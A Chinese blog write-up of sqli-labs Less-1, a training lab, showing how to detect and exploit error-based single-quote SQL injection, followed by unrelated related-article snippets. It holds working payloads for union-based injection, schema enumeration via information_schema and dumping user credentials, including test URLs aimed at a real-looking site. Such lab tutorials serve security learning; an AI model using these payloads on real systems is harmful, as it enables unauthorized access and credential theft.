1.SQL注入漏洞的几种判断方法
①http://www.heetian.com/showtail.asp?id=40'
②http://www.heetian.com/showtail.asp?id=40 and 1=1
③http://www.heetian.com/showtail.asp?id=40 and 1=2
如果执行①后,页面上提示报错或者提示数据库错误的话,说明是存在注入漏洞的。      如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。
2.收集信息、判断数据库类型
   从其返回的信息中可以判断下数据库的类型,更多可能可以知道部分数据库中的字段以及其他有用信息,为下一步攻击提供铺垫。
一、基于错误的_get_单引号_字符型注入
?id=1
 输一个id值,返回了name和password,接着测试是否能注入,url后加上?id=',发现报错了,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是“SELECT * FROM table_name WHERE id='$_get['id']' LIMIT 0,1”这种,说明他没有过滤单引号,并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分“'LIMT 0,1;”多余出来了
构造sql语句-1‘OR’1'='1'--+屏蔽掉后面的,也可以用#屏蔽,但这里#没有被url编码,故需自己将他转成url编码%23
接着来猜字段
?id=1%27%20order%20by%204--+
 
然后知道字段为3
然后利用union(联合查询)的特点,使原查询左边为空,那么我们定义的查询结果便可以返回出来
?id=-1%27%20union%20select%201,2,3%23
 
然后使用数据库函数爆出数据库信息
?id=' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23
 
 
user:root@
数据库名:security
用到的数据库函数有cancat_ws(),char(),user(),database(),cancat_ws()是连接函数,第一个参数是分隔符,同样作用的函数还有cancat(),不同的是cancat()没有连接符,char()函数是将十进制参数转换成对应的acsii码,user()和database()都是内置的函数,分别返回用户名和数据库名,类似的函数还有version(),返回数据库的版本信息,但是没有直接返回表名的函数,所以需要通过其他方式获取表名
获取表名
 这里有一个很经典的方法,我们可以通过系统数据库information_schema来获取表名,information_schema数据库中含有很重要的三张表:SCHEMATA,TABLES和COLUMNS
SCHEMATA表中存储了MySQL中所有数据库的信息,包括数据库名,编码类型路径等,show databases的结果取之此表
TABLES表中存储了MySQL中所有数据库的表的信息(当然,索引是根据数据库名的),包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等,show tables from schemaname的结果取之此表
COLUMNS表中存储了MySQL中所有表的字段信息,show columns from schemaname.tablename的结果取之此表
查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。
?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479%23
 
 
这样就爆出了第一张表名,但要获取所有表名还需要用到'limit',limit是用来指定范围,他有两个参数(limit a,b)a是从第几行开始取,b是取多少行,但需要注意的是实际取出来的开始行下标比a大1,即limit 5,10是表示取6到15行数据,接下来我们就可以用它取指定范围的表了
 
?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23
 
 
 
 这里取的是第5张表,如果超出能取的范围,他会报错
 
 
同样的方法爆出字段名(列举users的列名)
?id=0' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1%23
 
 
然后枚举用户名和密码
?id=0' union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1%23
 
 
 
 
 
 
注:
猜出字段后,利用sql自动添加猜出的字段数
 
然后让其报错(在5前面加个负号,或者and 1=2)
然后利用该报错信息,报其他信息,在其显示的报错字段改成下面的
 
 
 
 
 
 
 
 

sqli-labs第一节 get-字符型注入的更多相关文章

  1. 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

    双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...

  2. sql-libs(1) -字符型注入

    关于sql-libs的安装就不做过多的说明, 环境:win7虚拟机 192.168.48.130(NAT连接),然后用我的win10物理机去访问. 直接加 ' 报错,后测试 and '1'='1 成功 ...

  3. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

  4. 网站SQL注入之数字型注入和字符型注入

    什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...

  5. 【sqli-labs】 less11 POST - Error Based - Single quotes- String (基于错误的POST单引号字符型注入)

    查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作 ...

  6. 【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)

    GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面li ...

  7. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  8. 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...

  9. 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)

    Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...

随机推荐

  1. vue开发中,build时css打包报错

    vue在打包的时候css报错,首先声明的这个并没有解决webpack本身的问题,本来这个也是一个警示,不会影响代码正常运行 这个是因为我在多个页面引入了同一个css文件,webpack打包时候对css ...

  2. 为Spring Cloud Config插上管理的翅膀

    最近一致在更新Spring Cloud Config的相关内容,主要也是为这篇埋个伏笔,相信不少调研过Spring Cloud Config的用户都会吐槽它的管理能力太弱.因此,就有了下面为讲推荐的这 ...

  3. 第一册:lesson seventeen。

    原文:How do ;you do? A:Come and meet our employees,Mr.B. B:Thank you Mr.A. A:This is ...and this is .. ...

  4. python基础学习(九)字典

    字典的定义 dictionary(字典) 是 除列表以外 Python 之中 最灵活 的数据类型(有点类似java中的Map) 字典同样可以用来 存储多个数据 通常用于存储 描述一个 物体 的相关信息 ...

  5. learnVUE-note

    title: learnVUE-note date: 2018-02-27 15:57:37 tags: categories: 前端技术 --- 本文是自己在学习Vue中的 VUE事件处理 在事件处 ...

  6. virtualbox中 Ubuntu安装增强功能

    1. 执行,等待,当提示按 Enter 时按下 2. 在文件管理中找到挂载的文件,切换到该目录,执行命令 sudo ./VBoxLinuxAdditions.run 3. 重启

  7. NPM测试模块之rewire教程

    摘要:有了rewire模块,再也不用担心测试私有函数了. 在玩转Node.js单元测试,我介绍了3个用于编写测试代码的NPM模块:Mocha, Should以及SuperTest.为了怂恿大家写单元测 ...

  8. 几点建议帮你写出简洁的JS代码

    译者按: 规范的代码可以有效避免代码bug,fundebug才会报警少一点! 原文: Tips for Writing Cleaner Code 译者: Fundebug 为了保证可读性,本文采用意译 ...

  9. WORLD F4快捷重复上一步操作

    只需做一次动作,后面就直接按F4即可重复上一次操作.

  10. git pull遇到错误:error: Your local changes to the following files would be overwritten by merge:

    方法1:如果你想保留刚才本地修改的代码,并把git服务器上的代码pull到本地(本地刚才修改的代码将会被暂时封存起来) git stash git pull origin master git sta ...